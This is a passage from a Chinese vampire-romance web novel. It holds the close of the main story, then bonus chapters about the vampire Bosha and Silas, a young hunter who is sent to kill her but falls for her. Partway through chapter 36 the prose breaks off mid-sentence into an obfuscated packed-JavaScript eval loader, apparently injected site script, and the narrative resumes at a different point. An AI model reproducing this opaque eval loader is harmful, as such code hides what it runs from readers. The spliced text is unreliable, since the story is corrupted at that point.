“还是像从前一样天真幼稚,总是不合时宜地恶心人。”奥黛倒是笑了,“如果但凡他还有点其他的能耐,里头装的就不是恶心人的礼花与卡片了。” “所以……这礼花能用吗?”鹿露问。 奥黛想到迦莱尔从前的那些恶作剧,摇头道:“他的东西,最好别碰。” “明天加强戒备,”黎信步手指点了点木箱:“多好的日子,礼花该放还是得放。” 嗖—— 啪—— 烟花绽放在了星江上空。 绚丽的流火映在了江水里,两岸的行人纷纷驻足观看。 一艘游船破开碎金般的江水,平稳地驶向浮跃着星光的水天交界处。 任谁看这都是一艘普通的小船,里面却载着血族女王和特族局局长。 夜游队照惯例分散驻守在人群的各处,守卫着人间烟火。奥黛与黎信步现在洲上的制高点,眺望着整条星江。 今夜没有异样,希望以后也不要有。 “队长,烟花鉴定出结果了,燃烧升空的图案是一些英文字母。”黎信步的耳机里传来余米的声音:“什么‘BIT*H’、‘FU*K’之类的。” “骂得真脏啊。” 眼看着船里的两人签署完了条约,黎信步道:“给他看看我们的格局。” 话音刚落,星江沿岸的礼花与无人机齐齐升空,成百上千只和平鸽扇动着洁白的翅膀,冲向天际,轻盈而温柔地将美好的祝福播撒下来。 人们仰着头,憧憬地望向天幕与白鸽。 游船上,云岩朝赫纱伸出了手:“愿和平永存。” 赫纱回握住了她的手,笑说:“愿和平永存。” 飞檐上,鸽群下,黎信步也朝奥黛伸出了手:“愿和平永存。” “愿和平永存。”奥黛握了上去。 刚想抽回,他却不肯放。 【你好,我叫黎信步,很高兴见到你。】 奥黛一愣,想到他们不甚愉快的初遇—— 那时他刚说出前半句,手腕就被她掰脱臼了。 她挑眉一笑,拇指揉了揉他的指骨: 【奥黛·海尔珀林,同样,很高兴见到你。】 和平鸽还在他们的上空盘旋,久久不散。 两人望着对方的侧脸,快乐在彼此的心头蔓延。 【黎信步,我们一起来消遣时间吧。】 【我的荣幸,女爵。】 -正文完- 36. 她的紫罗兰戒指(上) 二十世纪二十年代,薄莎说在霭国呆腻了,离开了奥黛,独自一人搬到了浮城。 听说浮城有世界上规模最大的血猎组织,确实名不虚传,一场音乐剧,就让她遇上了好几个身穿黑袍,斜握银刀的血猎。 令她失望的是,这些血猎并不高明,身手、伎俩、脑子都不高明。她只是佯作无害地朝他们笑了笑,他们就失了神。这一失神,出刀就慢了,银色刀尖甚至都来不及碰到她耳坠,更遑论妄想割破她的喉咙。 薄莎扬长而去,心头泛起一丝躁意,觉得浮城也不过如此。 突然,一束纤秀淡雅的紫罗兰从一个十六七岁少年的怀里掉了下来,她微微一愣,视线微移,打量着这人。 他看上去很瘦,上身只穿了一件明显宽大的棉布衬衫,破旧的袖管在腕上挽了几圈,露出半截修长而极具骨感的手腕,在残雪未化的浮城显得格外料峭。 被路过的人轻轻一撞,他趔趄地摔在地上,倒在了她的脚边,就和这束掉出的紫罗兰一样脆弱。 一双碧绿的眼睛迟顿了半秒才眨动,如棒读般开口:“女士,我受伤了,你能送我去医院吗?” 薄莎颇带赞赏地挑起了眉头,对这剧情觉出了几分新意,毫不在意淑女形象地蹲在了他的面前,摇头说:“不行哦。” 碧绿的眼睛露出了一丝真实的迷茫,情不自禁走入她的陷阱:“为、为什么?” “很明显你在骗我啊。小血猎。”薄莎笑着扫过他单薄的胸膛,薄薄的一层布料下,隐约透出了匕首的轮廓:“我们吸血鬼的眼睛可是很尖的,刚刚那个人根本就没有撞伤你吧。假装让我带你去医院,实际上在某个偏僻街口布置好了埋伏想要杀我?我哪有那么好杀啊笨蛋。” 少年低着头不说话,抿着唇,一双手攥成拳,握得死紧。 “别灰心呀,我其实也不算太难杀的。”薄莎拾起地上的紫罗兰花束,忽然指节一顿,有些意外地看了一眼对方:“看在你比其他血猎都有意思,并且,这是我今年见到的第一束紫罗兰的份上——” 她慢慢站了起来,微笑着说:“既然你很想杀我,那我就给你这个机会吧。打个赌吧,给你三次机会杀掉我,要是三次以后还杀不掉,那你就是我的人了。” 少年连忙抬起头问:“我该怎么找到你?” 薄莎随手摘下一枚紫罗兰戒指抛给他,笑意盈盈说:“等你想我的时候就可以找到我啦。” 最好快一点,小血猎。 我真期待,你有这个本事能杀死我。 少年站了起来,在她的身后问:“你叫什么名字?” “不知道我是谁还敢来杀我?” 薄莎及耳短发下,水晶耳坠亮晶晶地摇曳着:“询问别人名字前,怎么不先自报姓名呢?” “西拉斯。”他的声音有些急切,像春笋怒发:“我叫西拉斯!” 薄莎却并没有要回答他的意思,刹那间,她加快步伐,消失在黑暗的拐角。 西拉斯下意识地伸出手,除了一缕若有似无的清香,什么也没有留下。如若不是那枚紫色的戒指被握紧在他的掌心,险些以为这场邂逅只是一场梦。 很快,他们再次相遇。 猎熊季到了,薄莎被邀请去王室猎场参加狩猎聚会,而西拉斯是猎场的马倌。他悄无声息地割裂了她马上的缰绳,伺机而动。 只是协助贵族上马的功夫,他就听见他的后方传来了漫不经心的一声笑,丝丝缕缕,就像那天萦绕在他指尖的幽香一样。 直往人心里钻。 紧接着,便见到薄莎骑着那匹马一骑绝尘,奔向了丛林深处。 他的心也随之悄无声息地提了起来,被渐远的马蹄声践踏。 那匹马在发情。 缰绳快要断裂。 深林中有黑熊。 可她是吸血鬼。 ——她是吸血鬼啊。是她罪有应得。 按照他养父的计划,他只需要在她与黑熊搏斗的时候用圣银匕首补上一刀即刻。 可是为什么,他却抢了身旁这贵族的马? 不管不顾地奔向深林? 去找她。 眼见那头庞大的黑熊直起山一样的身子,举起厚重的熊掌,扑向从马上摔落的她。他狠夹马腹,毅然握住圣银匕首,一往无前地冲向黑熊。 坚不可摧的圣银匕首借着马匹的冲力,擦过黑熊的腰际,锋刃狠狠扎了进去,血口倾泻,滚烫腥臭的热血打湿了他的手腕。 他一把勒过缰绳,调转方向,用力猛戳,匕首依次捅进黑熊的胸口、熊掌、后腰,黑熊愤怒地咆哮一声,身形不稳,摇摇欲坠。 挣扎了两下,那个庞然大物轰然倒下,尘土飞扬。 薄莎在旁边津津有味地看着。 没想到这个看似孱弱的少年,力气还挺大的。她找了块石头坐下,随手扯下几枝常春藤,一边编着花环,一边继续观看。 这黑熊缓过了劲来,一把拍断了西拉斯马驹的腿,将他甩飞出去老远。他的身体撞在了树上,发出沉重的一声,树叶晃落,骨头像散了架一样。 然而他还来不及吃痛,就要抵御黑熊再一次冲来,匕首对其猛戳几下,还不忘高声提醒薄莎:“快走!” “走?”薄莎把玩着编好的花环走近他:“不是你引我来的么?” “……”西拉斯的手臂被锋利的熊掌划出血痕,却仍在与它对峙僵持,咬着牙为她争取时间:“快走!走!” “走去哪?” 薄莎抬手将常春藤花环精准地扔到了他脑袋上,随即伸长了锋利的尖甲,直接从后往前捅穿了黑熊的胸膛,捏碎了它的心脏。 硕大的黑熊擦着西拉斯的肩膀倒下,在地上痛苦地抽搐着,失去了意识。 西拉斯猛然抬头望着面无表情朝他走来、满手血污的薄莎,终于意识到她是比黑熊更为恐怖的存在。 养父的计划根本不可能成功,这个吸血鬼,远比他们整个血猎公会预想得还要强大可怕更多。 她逼近他。 血红的眸子凝视他。 滴血的手掌攀上他的手臂。 他身形一僵,呼吸一滞,眸心颤动,像泛起涟漪的春水。 “为什么救我?”那双血手慢慢捏住了他的下巴。 在那一刻他确信,只要这只能徒手捏碎黑熊心脏的手稍稍一用力,他的下颌骨就会立刻粉碎。 可她没有。 冰凉的指腹只是很轻很轻地捏着他,像是在摩挲,透露出主人的一点困惑的思索,她又重复了一遍:“为什么?” 他也不知道。 或许觉得她不该这样死。 她却像读心一样追问他:“那你觉得我应该怎么死?” 凌乱的黑色卷发下,那双幽绿的眼睛直勾勾地盯着她,他说:“我想你,被我杀死。” “我要,堂堂正正地杀死你。吸血鬼。” 他掷地有声。 薄莎有些意外地望着他,倏地弯了眼睛,伸手将他头上歪斜的常春藤花环扶正,露出了来浮城以后第一个真心实意的笑:“我等着。” 他一愣,错开她的笑眼,眼睛往上瞟:“这是——” “是奖励哦。”薄莎松开手,不客气地将手上的血迹蹭到他单薄的衣服上:“奖励小血猎为了血族女爵英勇地和黑熊搏斗。” 西拉斯一把扯下花环:“才不是为你。” 想要把它扔掉,捏在手里好半天,实在没找到能扔的地方,最后还是戴在了头上,小声说:“何况,你也不需要我帮。” “当然不需要你帮。我姐姐六岁就能徒手猎杀棕熊和狼了,虽然这是我第一次杀熊,但怎么也不能给她丢脸。”她看上去很骄傲。 西拉斯:“……” 两人的马都跑丢了,只能一起走出这片林子。 薄莎似乎很愉悦,嘴里哼着含糊的小调,曲调悠扬,像哄睡的儿歌,不知是哪一国的风情。 西拉斯跟在她的身后,试图听清她在唱什么,可脸上瘙痒,脑袋越来越沉重,一阵耳鸣,他什么都听不见了,整个人像纸张一样软绵绵地飘到了地上。 薄莎的歌声戛然而止,回头看了一眼倒在地上的人,轻轻一笑,脚步不停。 虽然她答应以后要死在他手上,但也要看他有没有这个本事。 还有,一码归一码,虽然他为她冒死与黑熊搏斗,但归根结底,也是他算计她在先。 下点小毒不过分吧。 ——薄莎女爵向来公平公正。 迈着轻快的步伐,沙沙地走在浮城的飘绿的春天,她忍不住开始期待起他们的下一次见面。 一定会很有意思吧。 初夏,她去参加浮城一个贵族举办的鸡尾酒会。 浮城人总给她一种冷淡克制的感觉,社交活动也是这样——端着。 为避免麻烦,她入乡随俗地端出淑女的良好仪态,端起风情万种的细长酒杯,端着淡淡的微笑低头啜饮,聆听着绅士们的高谈阔论与乏味殷勤。 很快,她便觉得无聊。 每次出门她都像这样觉得无聊透顶。 可是不出门,她会觉得更加无聊。 她像块固执的顽石,想要扎根人潮,又讨厌被浪花拍击打磨。 道了声失陪,她离席,站在二楼的露台上,隔着层层叠叠交织的绿荫,疏离地眺望着觥筹交错的人们。 忽然一道清癯的身影猝不及防闯入她的视线,冷淡的唇角终于勾起了一抹笑,他果然来了。 两个月没见,他似乎长高了一些,还是那么瘦,穿着侍者的衣服,在慵懒的爵士曲里忙碌穿梭,余光四处搜寻,像是在找她。 两个月没见,这人还是这么笨,一手拿着托盘,一手时不时捂向腰际,生怕别人不知道他腰间藏着把圣银匕首。 她有心去逗弄,刚准备跳下露台吓他一跳,却听见露台之下有人叫她的名字,几个男人的说话声清晰地穿进她的耳朵里。 她止住脚步,西拉斯也身形一顿。 “你说她究竟是真贵族还是假贵族?真贵族不会像她那么放浪,假贵族不会像她那么铺张。” “既放浪又铺张,我正好求之不得,她一定会是个体贴的情人吧。” “先别管她身份真不真实,至少,她的宝石可都是真的,那么嫁妆应该很丰厚吧。” 前两个说话的男人相视一笑,拍了拍第三个男人的肩。 “你不会想娶她吧?” “你见过她骑马吗?” “什么意思?” 这些上流绅士显然没有注意到这里还有其他人的存在,继续肆无忌惮地说着下流话。 “她连骑马都学不会并拢双腿,你还指望她婚后对谁忠贞吗?” “奉劝你,玩玩就行了。这样的女人,结交可以,结婚可不——” 一杯淡金色的鸡尾酒朝他们泼过来。 话音戛然而止。 三位绅士抬手揩下脸上的酒液,难以置信地望着这个朝他们扑来的高瘦侍者。 “你是哪里来的小杂种?!你知道我是——” 西拉斯二话不说,挥拳而去,四人登时扭打作一团。 或者说,是西拉斯单方面痛殴他们。他长手长脚,力气也大,看样子还学会了不少市井的打架技巧,三位绅士显然不是他的对手,很快被他揍得鼻青脸肿,哀嚎连连。 动静闹得太大,惹得周围的人惊呼着朝他们走去,原本演奏爵士乐的乐手们立刻改为演奏贝多芬的《命运交响曲》。 露台上吹来清爽的风,风里混杂着带有柠檬香的端庄酒气。 薄莎踩着命运沉痛的节拍,心情很好地离开了这栋楼。 本来还想深夜去割掉这几人的舌头,但既然有人来救他们—— 善良宽宏的薄莎女爵决定免他们一死。 她忍不住回头望了一眼,树下那个拳头青肿的小血猎,一双绿眼睛闪烁着猎豹一样锋锐的碎光。 他的嘴角溢出了血,骨节擦破了皮,她嗅见了一丁点他的血液的味道。 真是奇怪,受伤的明明不止他一个。 可她只能闻见他。 很轻很淡,还有点苦呢。 接下来的几个月,薄莎没再去参加那些聚会。 整日清心寡欲地呆在她的蔷薇城堡里,偶尔教几个冒失闯入的血猎做人的道理。 在一个深秋的清晨,她听见一点窸窸窣窣的声音。 与之同至的是一点微微的苦涩。 她睁开眼,忍着困倦,仔细聆听小血猎是怎么掉进血族陷阱里的。 不多时,她的血仆敲门进来:“按照您的吩咐,已经将他打晕了关在房间,请问您还有什么指示吗?” “把壁炉点燃。”薄莎打了个哈欠,闭上了眼睛。 血族并不畏寒冷。血仆意外地看着她房间从未燃起的壁炉,刚要依言照做,又听见薄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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薄莎的神情顿时冷了下去:“与你无关。” 很快,她又拾起一抹笑:“下一个问题。” “……”西拉斯捏着袖沿,有些难以启齿。 薄莎好奇地伸出手,蜻蜓点水般戳了一下他的手背,说:“是不是想问我,要怎么样成为我的人?” “!” 西拉斯猛然抬起头,震惶地望向她。 “把脖子伸出来。”薄莎露出了一对森白的尖牙,悄悄走近他,蛊人地命令道。 大衣的袖沿被他捏得更紧,他站在原地,梗着脖子,一动也不动。 不过有时候,不动,也是一种动。 薄莎如海妖一般缓缓地贴近他,轻嗅着苦涩与稚嫩,聆听着紧张与沸腾,却独独,没有听见抗拒。 真乖。 但乖的人可没有什么意思。 这么多年,乖的人她见得够多了。 那么她在期待什么? 一个能让她感到幸福的人。 一个能够真正杀死她的人。 只有她死了,奥黛才不会再带着她负重前行。 只有她死了,奥黛才能甩开累赘,得到解脱。 冰凉地叹了一口气,淡红的眸光轻轻一转,她没有吸食他的鲜血,只是以尖甲代替尖牙,指腹代替嘴唇,在他的颈侧不疼不痒地勾划了一记。 “你很暖和呀。”说着,她将整个掌心贴了上去,汲取暖意。 西拉斯僵住了,被她手上的寒凉激得耸了一下肩,浑身肌肉猛缩,明明她已经为他解了绑,可是好像身体乃至魂灵的某一部分却被她永远地困住了。 是什么? 他不得而知。只知道,想像她汲取他的暖意一样,他也想从她那里汲取一点什么。 一点,她纯粹的真实的表情。 未及细想,她的手已经离开了他的身体。 他被她推到了一边,像取笑,也像警告:“在期待什么?你最好不要对我有任何的期待,我的恶劣超过你想象。” 说完,也不等他回答,转身朝门外走去。 她的血仆轻轻敲了一下门,恭谨道:“维德男爵在楼下。” 薄莎不禁感叹道:“真准时啊,有半个月了吗?他都不会疼吗?” 血仆微笑说:“毕竟这是他唯一的价值,也是他唯一能见您的机会了。” 薄莎尖牙尚未收回,想了想,说:“告诉他,我马上下去。” 血仆立刻消失在他们面前。 “——你要去干嘛?”西拉斯一双绿色的眼睛幽幽地盯着她,从她们的只言片语里,心里隐隐已经有了一个猜测,但是不愿意相信。 薄莎走到他面前,随手替他扣上了一粒扣子,轻声说:“找个消遣。晚安,血猎小男孩。” 西拉斯打落她的手,固执地说:“我不是小男孩,我很快就十九岁了。” “十九岁啊,真了不起啊。”薄莎漫不经心地鼓了三下掌,笑说:“论年纪,就算是你那位血猎公会副会长的养父站到我面前,也只是一个小男孩而已。” 西拉斯立时睁大了眼睛,闪过一丝被看穿的窘迫。 “怎么?以为我不知道你的过去吗?西拉斯·斯通。”她说,“既然踏入我的城堡,成为了我的人,你就要和过去一刀两断了。” 她压低声音忠告:“不然,你会很痛苦。” 西拉斯不说话了,沉默地看着薄莎走出门,走上长廊,下了楼,走向那辆泊在门口的黑色轿车。 狭隘的尖拱窗里,他看见站在轿车边的那个英俊男人立刻迎了上去,绅士地与她吻面礼,然后立即为她拉开车门。 不禁想,她也会与他吻面礼吗? ——不会。 每一次与她见面,他都异常狼狈。他痛恨自己在她面前像丧狗一样摇尾乞怜,像溃军一样节节败退。 可他无能为力。 透过这扇窗,他看见男人拉车门的那只手戴着一枚明亮的红宝石戒指——那样成色的红宝石,他昨天在这座城堡见到过很多枚。 这是……她送给他的吗? 他无意识地伸手叩上了窗,无名指上的紫罗兰戒面轻轻撞在窗户上,玻璃微微一颤。 似有所感,替薄莎关门时,男人下意识地回头望向城堡的尖拱窗,目光与他一撞。 夜色里,两人都看清了彼此手中闪烁的戒指光辉。 男人皱了一下眉头,神色晦暗不明。 西拉斯紧紧握拳,脸色难看得不像话。 37. 她的紫罗兰戒指(下) 薄莎吸食人血的周期是五天。 每过五天,就会有不同的人在楼下等着她。从公爵到子爵,如她所言,全都是消遣。 西拉斯每次站在那扇窗前,看见薄莎走向她的消遣——那些人的无名指上毫无例外地戴着她送的红宝石戒指,就像深扎在碧绿瞳孔里的一根锈钉。 他深觉可笑,笑这些光鲜亮丽的人心甘情愿沦为血族女爵的消遣,也笑自己明知道他们是消遣,却还是固执地凝望他们离去的方向,一站就是一整夜。 盘桓在城堡上空的鸽子一声又一声敦促,他打开窗户,冷风夹着雪直往屋里灌,他下意识打了个寒颤。 他并不是什么娇弱的人,十岁前在街上要饭,没穿过什么像样的衣服,也没吃过两顿饱饭,饿到奄奄一息时,是养父一块黑面包救了他的命,也是从那一天开始,他开始为血猎公会效力。 放飞手里的信鸽后,西拉斯久久都没有关上窗户,任凭急劲席卷的风雪穿刺他,一刀一刀提醒着他不要忘记自己的使命。 面前是冰寒的风雪,身后是温暖的壁炉,两种温度鞭笞拷问他的内心,到底应该怎么选? 忽然,碧色的眼睛一颤,嘴巴无意识地轻张,他看见那本已和某位侯爵坐车离开的薄莎,在风雪之中展开她华丽的黑翼,直接从窗外飞入了他的房内,顺手就把窗户给关严实了。 她耸肩,黑翼优雅灵活地敛回肩胛,簌簌地抖落一地雪色,扫了他一眼说:“帮你关好窗户了,不用谢。” 炽热的血流登时游走全身,他的心跳漏了半拍,忍不住对她露出了个很傻的笑,又懊恼地捂住了嘴巴,咬住了嘴唇。 ——他没能做出选择。 因为选择的权利从来就不在他那。 “你怎么……回来了?” “有东西没拿。” “是什么?” “蔷薇戒指。”薄莎抱着臂,靠在门边,神情染上淡淡的倦色:“在厨房,帮我随便取一枚来就行。” 翻涌的热血忽然冷凝,他直直地站在门口,刚刚才变得明亮的绿色眼睛瞬间暗淡了下去。 薄莎轻轻踢他:“去呀。” 他没有动,问:“就那么一枚戒指,也值得你冒着大雪飞回来?” 薄莎本想说不是,她回来是因为大老远看见他的窗户没有关,以为这个怕冷的小血猎出了什么意外。可是看到他此刻要哭不哭的表情,却意外地觉得很有意思。 “是呀。”她注视着他的表情,故意慢腾腾说:“那可不是普通的戒指,是我父亲的遗物,真品在我姐姐那,我特意仿做了好多枚,效仿历代海尔珀林公爵送给爱人定情。” “那你的爱人可真多。”西拉斯刻薄地讥讽了一句,然后攥紧了手心,走向厨房。 很快,他脚步沉重地回来,抓着一大把红色戒指,一股脑塞到薄莎手里。 薄莎的手要比他小不少,那把抓在他手里稳稳当当的戒指,落到她的掌心时,哗啦啦地从掌沿掉出,在地上发出清脆的响声。 一颗一颗,像是血泪。 薄莎眯起了眼睛,对他道:“捡起来。” 西拉斯低着头,一动不动。 “我说。”她的声音变得冷沉:“捡起来。” 西拉斯的肩膀微微有些耸动。 她伸手,没带多大劲去推,却把他推动了好几步,这才发现他居然哭了。 碧绿色的眼睛发红,大颗大颗的眼泪从眼眶中间往下掉,对上薄莎忽然凑近的脸,忽然赌气似的面对墙壁,背对着她。 薄莎乐了,她还从没有把谁欺负哭的经历,觉得有意思,随地一坐,静静听他啜泣。 过了一会儿,西拉斯平复好了心情,一回头,看见薄莎抬手端详戒指,每根纤细的手指上都套着两三枚红宝石戒指,没心没肺地玩着。 “哭完了?”她拨弄着戒指问。 西拉斯感到羞耻,胡乱擦起了脸。 整张脸被他粗暴地搓红了,眼睛水雾未散,长睫水淋淋的,还挂着细小的水珠。 “哭完了就自己呆着吧。”薄莎笑着站了起来,屈指带走了那点泪珠,说:“我要走了。他还在等我。” 西拉斯紧握着拳头,手指的戒指早早被他调了个方向,戒面朝内,此刻那捂不热的紫罗兰深深扎入他的掌心,他越是用力,越能感受到那尖锐倔强的痛苦。 可越是痛苦,他越要紧握。 听见薄莎的脚步声离他越来越远,他忽然追了出去,抓着门沿:“别去——” 脚步声顿住了。 薄莎回过头,血红的眸子闪烁了一下。她颇有兴味地眨了一下眼睛,准备聆听他的理由。 “……” 西拉斯张了张嘴,泄露出来的只有哭后的轻喘抽噎。 什么话也说不出来,但他看上去很着急。 “慢慢和我说,”薄莎的眸子恢复成淡淡的红,安抚般轻轻开口:“你想要什么?想要我做什么?” “……我想你,”西拉斯重重地垂下头,似丧狗,似溃军:“别去他那里。” “为什么?” “因为……”西拉斯的脸涨得通红,指缝溢出了血迹,淡淡的苦涩味道钻进了她的鼻间,搅混了他的心里。 “今天是我的生日。”他绞尽脑汁想了很久,小声说:“从来都没有人陪我过过生日。” 她意外挑眉,眸色深沉。 “所以,陪我,别去陪他。”他艰难干涩地说。 卸下了满手的戒环,随手一放,她点头允准:“可以。” 薄莎从不过生日,也没有给人过过生日。两百多年来,生日在她们姐妹间一直是个禁忌。 但她知道生日要吃蛋糕,于是带着西拉斯飞出窗外,在一个即将打烊的咖啡厅,运气很好地买下了今天最后一块蛋糕,又在成衣店买下一件貂皮披风作为生日礼物送给他。 在跳跃着橘红色火光的壁炉边,薄莎引燃蜡烛,顺手插到了蛋糕上,轻声说:“许愿吧,小血猎。” 西拉斯的脸被跳跃的烛光映照得忽明忽暗,一双眼睛格外明亮。 却问她:“你有什么要许的愿望吗?” 薄莎靠在沙发上,端起手里淡金色的鸡尾酒,啜饮一口后说:“不是和你说过么,想办法杀掉我。” 一瞬间,他的心里像生了冻疮,既痒又疼,在表面抠出血淋淋的一片疮疤,却只是隔靴搔痒,还有更深的地方,他自己触碰不到,只能任其淤涨腐烂。 “自己的愿望自己许吧。”薄莎指尖玩弄着蛋糕上的烛火,丝毫不觉得疼似的,“心情好,我就帮你实现。” “你已经帮我实现了。”西拉斯说。 薄莎慢慢转头看向他。 “陪我过生日,已经实现了。”他低声说。 “那么,下一个——” 这时候,敲门响了起来,门口传来血仆的声音:“女爵,路易斯侯爵坚持在楼下等您。外面的雪很大,需要请他上来坐一坐吗?” 薄莎眼里浮起淡淡的烦躁,刚要说话,看见西拉斯蹭地站了起来说:“不要!” 他很高,一道深刻的影子压在了薄莎的面前,但她却意外不觉得冒犯。忽然想起奥黛小时候养过的一只叫做莉莉的猎犬,每当有生人接近时,就会警觉地立耳狂吠。 她也很想要这样一只猎犬,央求了母亲很久,她都没有同意。 “除非,能想出办法来让你父亲与我们同住。那么,你想养多少条都可以。”母亲躺在酒窖里,一下一下抛着手里的金币对她说。 后来好长一段时间,薄莎一直在自责,怪自己当初没有努力想出好办法——不然为什么没过多久,父亲自杀长眠,莉莉也死了。 从那时起,她就没动过再养什么的心思了。 酒杯里的白色佳人并不醉人,可当西拉斯说话时,莫名地让她想起她童年一直想要却没能得到的小狗。 她总是格外垂怜这样的小东西,听见西拉斯的声音干涩发紧:“第二个愿望,让他离开。” “好啊。”薄莎俯身吹灭蜡烛,如同高高在上的神明一样应允,扬声对外说:“那就让他走吧。” 血仆应是,立即下楼。 她又问:“第三个愿望是什么?” 汽车驶离的声音响起,西拉斯下意识看向窗外,雪白的飞鸽仍在盘桓,就像光魔法的碎片。 闭上眼,他听见自己一字一顿地说:“第三个愿望,给我一滴血。” 几乎是话音落地的同一时间,薄莎已经迫不及待地朝他摊开了掌心。 食指上,一颗饱满的血珠在火光里泛着淡淡的光泽,她的眉眼隐有期待。 “喏。拿去呀,小血猎。”她轻轻说。 西拉斯没动。说出口的那一瞬间他就后悔了。 他又往后退了一步,低声说:“我说错了,第三个愿望,不要叫我小血猎。” “……”薄莎不带感情地扫了他一眼,无悲也无喜。 他却觉得那一眼,她已经把他看透了,碾碎了。 她好像对他失望了。 “不行。”她冷声说。 用拇指顶开怀表,捏着末端的链条给他看时间:“十二点了,生日时间结束。” 怀表在他的眼前轻晃,说实话,他除了她的照片什么也没看见。 只觉自己像一条被胡萝卜吊着的驴,仅仅只是惊鸿一瞥,她就把胡萝卜收走了,对他说:“现在是女爵时间。” “——我本来今天要吸血的,可是你赶走了我的血包,是想用自己赔我吗?” 身体忽地被她拽动,他猛地往前倾,倒在了沙发上,坍在了她的身侧,膝盖咚一声撞在地板上,他却不觉得疼。 冻疮一样的心里泛着阵阵酥痒的暖意,他看见她秾丽的五官倏地靠近,尖牙慢慢地顶了出来,目光流连在了他的颈侧。 他下意识地追寻她的目光,碧绿的眼睛紧张得胡乱地瞟。 但是——她的眼睛不该看,她的鼻子不该看,她的嘴巴不该看,再往下就更加不该看了……到底该看向哪里?于是只能规矩地敛眸、再敛眸,脖子却忍不住朝她靠近、再靠近。 冰凉的气息扑打在他的颈边,他难耐地扭动了一下,矜持又局促地咬着发白的下唇,闭上眼睛,感受着她的贴近。 隐隐期盼,又觉得不甘,他这样与那些戴红宝石戒指的贵族们又有什么区别——她甚至,都没有给自己红宝石戒指。 也没有与自己吻面礼。 然而,尖牙抵在他的颈边,却没有深入、刺破,他感到她的嘴唇撤离,取而代之的,是一双冰冷的手。 像上次一样,她将掌心贴住了他的脆弱而温暖的脖颈,摁压,揉弄,收紧,试图将那连接着身躯与头颅的热气全部都带走。 他背对着她,喉间一窒又一窒,心里既空虚又满足,如果她能看见自己现在迎合着伸长脖子、轻抬下巴的模样,应该会觉得自己很下贱吧。 来不及胡思乱想,他的大脑一片空白。 他被她抱紧了,听见她轻轻说:“你的身体真暖和。” 他心头一热,刚想翻过身拥住她,又听她补充:“比那些人暖和多了。” 他浑身一僵。 她不满地捏了他一下,抱怨道:“放松一点。” 他反骨似的浑身绷紧,下巴缩进了衣服里,不肯让她如愿。 她忍不住笑起来。 对嘛,他就不是一个顺从的人。 他越是躲,不肯让她碰,越能激起她身为吸血鬼的劣根性,她偏偏要碰。不再满足炽热脖颈的触碰,她的手贴在了他温热的胸膛上。 在她的城堡待了这么久,他身上总算长了些肉,不再是一把骨头,而是变得硬朗结实起来,胸膛也身上鼓囊囊、硬邦邦的。她不轻不重地捏上了一把,看他一声轻呼翻过身来,屏住了呼吸,幽绿色的眼睛暗含缱绻的责备,十分害羞地用力地抱住了她。 【……】 一时间,他的那些混乱拉扯的无助想法成百倍成千倍地放大在她耳畔。 血色的眸子微微一弯,他根本就不知道这样矛盾互搏的自己有多可爱。 她也抱住了他。 “还有其他什么愿望吗?等杀了我以后你想做什么?”薄莎大发慈悲道:“趁现在,我的心里很暖和,说不定会帮你提前实现哦。” 西拉斯愣住了:“什么……想干什么?” “你就算是血猎也该有点自己的爱好吧——读书?旅行?马术?总不会一辈子都猎杀吸血鬼吧。” 西拉斯没听懂她的话,或许,又有一点懂。 他只明白:“你想赶我走吗?” “你迟早都会走,”薄莎用洞察的目光静静望着他:“不是么?” 西拉斯更加用力地将她揽紧,微哑的声音在她的头顶响起:“不要赶我走,也不要……消遣我。” 她的笑容一滞,空洞的心里忽然闪过一丝委顿的迷茫,低声说:“换一个。” 西拉斯想了想,伸手抚平她微皱的眉头,郑重又衷心地说:“希望……希望薄莎能轻松一点。” “你以为你有多了解我?我现在就很轻松。” “嗯,”西拉斯笨拙又温柔地用指骨轻刮她的眉骨,祈愿道:“那就,再轻松一点吧。” 薄莎久久都没有说话。 一时间房间里安静得只能听见木柴燃烧时发出的噼啪声,以及紧闭的窗外,狂风怒雪的遥远呼啸。 从西拉斯的角度,只能看见薄莎轻闭的眼睛,以为她睡着了,很小心地握住了她冰凉的手,源源不断心甘情愿地为她输送着暖意。 其实今天并不是他的生日——在街上流浪长大的人,怎么会记得自己是那一天出生的? 但是,今天,很温暖,他也很喜欢。 要是真能出生在这一天就好了。 要是可以死在这一刻就好了。 薄莎反握住了他的手,手指插|进他的手指,用力夹住,拨开那些兜兜转转旋绕的虚情和假意,轻而易举地找到了他不堪一击的炽热真心。 轻笑了声:“蠢货。” …… “——蠢货!你这个蠢货!” 血猎公会里,西拉斯的养父气得拔出了银刀,恨不能往西拉斯的身上劈:“你是说她已经给了你一滴血,你却不要?我怎么养出你这么个蠢货?!那些血海深仇你都忘记了?你忘记你的父母是怎样惨死在吸血鬼的手里了?” 西拉斯低着头,没有说话。 “昨晚,我们好几位骁勇的血猎牺牲了!他们都是与你一同长大的你的哥哥和姐姐,要不是海尔珀林那婊子,他们也不会——” 闻言,西拉斯忙抬起头说:“不是她做的!” “我当然知道不是她!”他养父粗重地喘了口气,扔开手里刀,一下一下抚着胸口顺着气:“可是她在血族很有威望,整个浮城的血族都以她为尊。必须——必须除掉她!为我们的血猎报仇!” 他的养父一把抓起了他的手,隐可见到他掌心的魔法阵闪烁着黯淡的光芒,深吸一口气,强压下心头涌起的怒意,说:“既然光明巫师选中了你,那你就要承担起自己的使命来——最后给你一次机会,把她的血融进去。好孩子,爸爸知道你能做到的不是吗。” “……” “你不会对她下不去手吧?吸血鬼可从来不会对人类手下留情,他们的血都是冷的——想想你的哥哥姐姐们!” “……” “想想你的爸爸妈妈!他们就是太善良,救下一只不懂感恩的吸血鬼,把命都搭上去了。” “……” 血淋淋的疮疤再度被撕烂。良久,西拉斯攥着手心问:“融进去,她会怎么样?” “只要融进去,你就会是整个世纪最伟大的血猎。”他养父循循善诱道:“这不是一直以来你的愿望吗?” “……”他的目光稍稍迟疑。 没有说,现在已经不是了。 离开血猎公会,西拉斯一个人走在空阒的大街上。 地上积了层没过脚踝的雪,他穿了件宽松的单衣走在大街上,脚下发出嘎吱嘎吱的响,这才后知后觉感到冷。出门时,特意换掉了那件华丽暖和的貂皮披风,总感觉,它不该陪自己来这里。 大雪将一切掩埋,街道两旁的房子被大雪覆盖,只露出一点点红色。远远望去,就像教堂里的祈祷蜡烛。 可是神从来都不响应他的祈祷。 能响应他祈祷的,只有薄莎。 而现在,他却不敢回到城堡,去见她。 